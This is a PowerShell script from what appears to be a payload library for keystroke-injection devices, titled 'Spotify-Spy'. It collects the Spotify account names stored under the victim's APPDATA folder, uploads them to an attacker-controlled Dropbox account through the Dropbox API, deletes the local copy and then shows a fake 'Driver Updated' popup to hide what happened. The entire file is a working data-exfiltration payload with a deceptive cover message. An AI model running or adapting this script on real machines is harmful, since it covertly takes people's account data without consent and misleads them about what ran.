Path: blob/master/payloads/library/exfiltration/Spotify-Spy/SS.ps1
4044 views
#Spotify-Spy
# See if file is a thing
Test-Path -Path "$env:APPDATA\Spotify\Users"
#Create varible for file name
$F1 = "$env:USERNAME-$(get-date -f yyyy-MM-dd_hh-mm)_spotify_users.txt"
# Gets the name of the spotify user
cd "$env:APPDATA\Spotify\Users"
Get-ChildItem > $F1
# Copy Spotify User to Temp Directory to get sent to Dropbox
Copy-Item "$F1" -Destination "$env:tmp/$F1"
function DropBox-Upload {
[CmdletBinding()]
param (
[Parameter (Mandatory = $True, ValueFromPipeline = $True)]
[Alias("f")]
[string]$SourceFilePath
)
$DropBoxAccessToken = "YOUR-DROPBOX-ACCESS-TOKEN" # Replace with your DropBox Access Token
$outputFile = Split-Path $SourceFilePath -leaf
$TargetFilePath="/$outputFile"
$arg = '{ "path": "' + $TargetFilePath + '", "mode": "add", "autorename": true, "mute": false }'
$authorization = "Bearer " + $DropBoxAccessToken
$headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]"
$headers.Add("Authorization", $authorization)
$headers.Add("Dropbox-API-Arg", $arg)
$headers.Add("Content-Type", 'application/octet-stream')
Invoke-RestMethod -Uri https://content.dropboxapi.com/2/files/upload -Method Post -InFile $SourceFilePath -Headers $headers
}
DropBox-Upload -f "$env:tmp/$F1"
rm $F1
$done = New-Object -ComObject Wscript.Shell;$done.Popup("Driver Updated",1)